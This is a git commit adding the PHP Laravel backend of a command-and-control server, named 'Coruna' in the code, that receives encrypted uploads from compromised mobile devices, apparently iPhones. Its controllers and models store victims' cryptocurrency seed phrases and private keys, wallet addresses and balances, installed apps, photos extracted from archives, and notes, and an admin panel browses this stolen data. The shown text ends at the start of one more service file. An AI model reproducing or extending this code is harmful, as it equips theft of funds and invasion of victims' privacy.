init
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
/* C2 / API request file logs — patterned after qrpay create_log */
|
||||
|
||||
if (! function_exists('create_log')) {
|
||||
/**
|
||||
* Append a line to public/log/{type}/Ymd.log
|
||||
*
|
||||
* @param array|string $str
|
||||
*/
|
||||
function create_log($str, string $type = 'c2'): void
|
||||
{
|
||||
$str = is_array($str) ? json_encode($str, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) : (string) $str;
|
||||
$logPath = public_path('log/'.$type);
|
||||
if (! is_dir($logPath)) {
|
||||
$old = umask(0);
|
||||
mkdir($logPath, 0777, true);
|
||||
umask($old);
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
try {
|
||||
$url = request()->getRequestUri();
|
||||
} catch (\Throwable) {
|
||||
$url = $_SERVER['REQUEST_URI'] ?? '';
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
$isNew = ! file_exists($logName);
|
||||
file_put_contents($logName, $logStr, FILE_APPEND);
|
||||
if ($isNew) {
|
||||
try {
|
||||
chmod($logName, 0777);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('admin')->check()) {
|
||||
return redirect()->route('admin.home');
|
||||
}
|
||||
|
||||
return view('admin.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('admin.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
if (Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('admin.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('admin')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('admin.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\Wallet;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$filters = [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
];
|
||||
|
||||
$q = Device::query()->orderByDesc('updated_at');
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
|
||||
$q->whereDate('created_at', '>=', $filters['installed_from']);
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
|
||||
$q->whereDate('created_at', '<=', $filters['installed_to']);
|
||||
}
|
||||
|
||||
$devices = $q->paginate(30)->withQueryString();
|
||||
|
||||
return view('admin.devices.index', compact('devices', 'filters'));
|
||||
}
|
||||
|
||||
public function show(Device $device, Request $request)
|
||||
{
|
||||
$tab = $request->query('tab', 'apps');
|
||||
if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
|
||||
$tab = 'apps';
|
||||
}
|
||||
|
||||
$apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
|
||||
$events = $device->events()->orderByDesc('id')->limit(500)->get();
|
||||
$photos = $device->photos()->orderByDesc('id')->limit(200)->get();
|
||||
$notes = $device->notes()->orderByDesc('id')->limit(200)->get();
|
||||
$wallets = $device->wallets()->orderByDesc('id')->get();
|
||||
$addresses = $device->addresses()->orderByDesc('id')->get();
|
||||
|
||||
$maskedWallets = $wallets->map(function (Wallet $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source_app' => $w->source_app,
|
||||
'mnemonic' => Wallet::maskSecret($w->mnemonic),
|
||||
'privkey' => Wallet::maskSecret($w->privkey),
|
||||
'created_at' => $w->created_at,
|
||||
];
|
||||
});
|
||||
|
||||
return view('admin.devices.show', compact(
|
||||
'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
|
||||
));
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
{
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$dir = public_path('log/c2');
|
||||
$files = [];
|
||||
if (is_dir($dir)) {
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
}
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $file)
|
||||
{
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/c2/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
$raw = (string) file_get_contents($full);
|
||||
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
|
||||
$entries = [];
|
||||
foreach ($chunks as $chunk) {
|
||||
$chunk = trim($chunk);
|
||||
if ($chunk === '') {
|
||||
continue;
|
||||
}
|
||||
if ($path !== '' && ! str_contains($chunk, $path)) {
|
||||
continue;
|
||||
}
|
||||
if ($device !== '' && ! str_contains($chunk, $device)) {
|
||||
continue;
|
||||
}
|
||||
$entries[] = $chunk;
|
||||
}
|
||||
$entries = array_reverse($entries);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'file' => $safe,
|
||||
'entries' => $entries,
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
{
|
||||
return response('OK', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
// keystore-ish blobs
|
||||
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$deviceKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter(['d' => $deviceKey]),
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$counters = [
|
||||
'count' => $request->input('count'),
|
||||
'total' => $request->input('total'),
|
||||
'index' => $request->input('index'),
|
||||
'batchBase' => $batchBase,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'counters' => $counters,
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function profileNop(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
}
|
||||
|
||||
public function linkConfigIcon(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function encryptedAck($data = null): Response
|
||||
{
|
||||
if ($data === null) {
|
||||
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
||||
}
|
||||
$enc = $this->crypto->encryptJson($data);
|
||||
|
||||
return response($enc['body'], 200)
|
||||
->header('Content-Type', 'text/plain')
|
||||
->header('timestamp', $enc['timestamp']);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
abstract class Controller
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
class DecryptCorunaBody
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$headers = [];
|
||||
foreach (['timestamp', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
$timestamp = (string) $request->header('timestamp', '');
|
||||
$payload = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
$deviceKey = null;
|
||||
|
||||
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
if ($request->isMethod('GET')) {
|
||||
$decryptOk = true;
|
||||
} elseif ($isMultipart) {
|
||||
$payload = [
|
||||
'form' => $request->except(['file']),
|
||||
'has_file' => $request->hasFile('file'),
|
||||
];
|
||||
$decryptOk = true;
|
||||
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||
} elseif ($raw !== '' && $timestamp !== '') {
|
||||
try {
|
||||
$payload = $this->crypto->decryptJsonBody($raw, $timestamp);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
}
|
||||
} elseif ($raw === '') {
|
||||
$decryptOk = true;
|
||||
} else {
|
||||
$error = 'missing timestamp or body';
|
||||
}
|
||||
|
||||
// Device id currently only from d/f (same value in live traffic).
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
|
||||
$response = $next($request);
|
||||
|
||||
$this->logResponse($request, $response, $path, $deviceKey);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
||||
{
|
||||
$respBody = (string) $response->getContent();
|
||||
$respTs = (string) $response->headers->get('timestamp', '');
|
||||
$respHeaders = [];
|
||||
foreach (['timestamp', 'content-type', 'content-length'] as $h) {
|
||||
if ($response->headers->has($h)) {
|
||||
$respHeaders[$h] = $response->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$plain = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
|
||||
// GET /api/user/query → plain "OK"
|
||||
if ($request->isMethod('GET') || $respTs === '') {
|
||||
$plain = strlen($respBody) > 200000 ? substr($respBody, 0, 200000) : $respBody;
|
||||
$decryptOk = true;
|
||||
} elseif ($respBody !== '') {
|
||||
try {
|
||||
$plain = $this->crypto->decryptJsonBody($respBody, $respTs);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
$plain = strlen($respBody) > 2000 ? substr($respBody, 0, 2000) : $respBody;
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'out',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'status' => $response->getStatusCode(),
|
||||
'timestamp_hdr' => $respTs ?: null,
|
||||
'headers' => $respHeaders,
|
||||
'payload' => is_array($plain) || $plain === null || is_string($plain)
|
||||
? $plain
|
||||
: ['value' => $plain],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class Admin extends Authenticatable
|
||||
{
|
||||
protected $fillable = ['username', 'password'];
|
||||
|
||||
protected $hidden = ['password', 'remember_token'];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
public function apps(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceApp::class);
|
||||
}
|
||||
|
||||
public function events(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceEvent::class);
|
||||
}
|
||||
|
||||
public function photos(): HasMany
|
||||
{
|
||||
return $this->hasMany(Photo::class);
|
||||
}
|
||||
|
||||
public function notes(): HasMany
|
||||
{
|
||||
return $this->hasMany(Note::class);
|
||||
}
|
||||
|
||||
public function wallets(): HasMany
|
||||
{
|
||||
return $this->hasMany(Wallet::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceApp extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'bundle_id', 'name', 'version', 'is_wallet', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'is_wallet' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'event_name', 'desc', 'context_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'context_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Note extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'title', 'body', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['meta_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['counters_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
// use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Database\Factories\UserFactory;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
use Illuminate\Notifications\Notifiable;
|
||||
|
||||
class User extends Authenticatable
|
||||
{
|
||||
/** @use HasFactory<UserFactory> */
|
||||
use HasFactory, Notifiable;
|
||||
|
||||
/**
|
||||
* The attributes that are mass assignable.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be hidden for serialization.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $hidden = [
|
||||
'password',
|
||||
'remember_token',
|
||||
];
|
||||
|
||||
/**
|
||||
* Get the attributes that should be cast.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'email_verified_at' => 'datetime',
|
||||
'password' => 'hashed',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class Wallet extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['raw_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
|
||||
public function setMnemonicAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getMnemonicAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['mnemonic_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['mnemonic_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public function setPrivkeyAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['privkey_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getPrivkeyAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['privkey_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['privkey_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static function maskSecret(?string $value): string
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
return '—';
|
||||
}
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
if (count($words) >= 12) {
|
||||
return $words[0].' *** '.$words[count($words) - 1];
|
||||
}
|
||||
$len = strlen($value);
|
||||
if ($len <= 8) {
|
||||
return str_repeat('*', $len);
|
||||
}
|
||||
|
||||
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'wallet_id', 'address', 'chain', 'balance',
|
||||
'symbol', 'telegram_notified', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function wallet(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Wallet::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class AppServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(CorunaCrypto::class, function () {
|
||||
$override = config('coruna.session_key');
|
||||
|
||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||
});
|
||||
|
||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||
return new CorunaArchive(
|
||||
$app->make(CorunaCrypto::class),
|
||||
(string) config('coruna.seven_zip', '/opt/homebrew/opt/p7zip/bin/7z'),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
